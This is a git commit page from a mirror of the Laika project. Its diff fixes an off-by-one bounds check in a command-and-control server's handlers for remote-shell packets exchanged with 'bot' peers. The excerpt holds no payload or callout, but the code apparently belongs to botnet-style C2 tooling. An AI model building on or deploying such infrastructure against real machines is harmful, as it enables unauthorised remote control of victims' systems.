1
0
mirror of https://github.com/CPunch/Laika.git synced 2026-02-04 07:30:03 +00:00

CNC: Fix possible out of bounds subscript for SHELL_* packets

- content events now pass the sLaika_peer struct
This commit is contained in:
2022-06-13 12:11:08 -05:00
parent fb464f579f
commit 0fc8d0c169
5 changed files with 41 additions and 12 deletions

View File

@@ -41,7 +41,7 @@ void laikaC_sendRmvPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer)
laikaS_endOutPacket(authPeer);
}
/* ============================================[[ Packet Handlers ]]============================================= */
/* =========================================[[ [Auth] Packet Handlers ]]========================================= */
void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) {
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData;
@@ -100,7 +100,7 @@ void laikaC_handleAuthenticatedShellClose(struct sLaika_peer *authPeer, LAIKAPKT
laikaS_readInt(&authPeer->sock, &id, sizeof(uint32_t));
/* ignore malformed packet */
if (id > LAIKA_MAX_SHELLS || (shell = pInfo->shells[id]) == NULL)
if (id >= LAIKA_MAX_SHELLS || (shell = pInfo->shells[id]) == NULL)
return;
laikaC_closeShell(shell);
@@ -121,7 +121,7 @@ void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_
sz -= sizeof(uint32_t);
/* ignore malformed packet */
if (id > LAIKA_MAX_SHELLS || (shell = pInfo->shells[id]) == NULL)
if (id >= LAIKA_MAX_SHELLS || (shell = pInfo->shells[id]) == NULL)
return;
peer = shell->bot;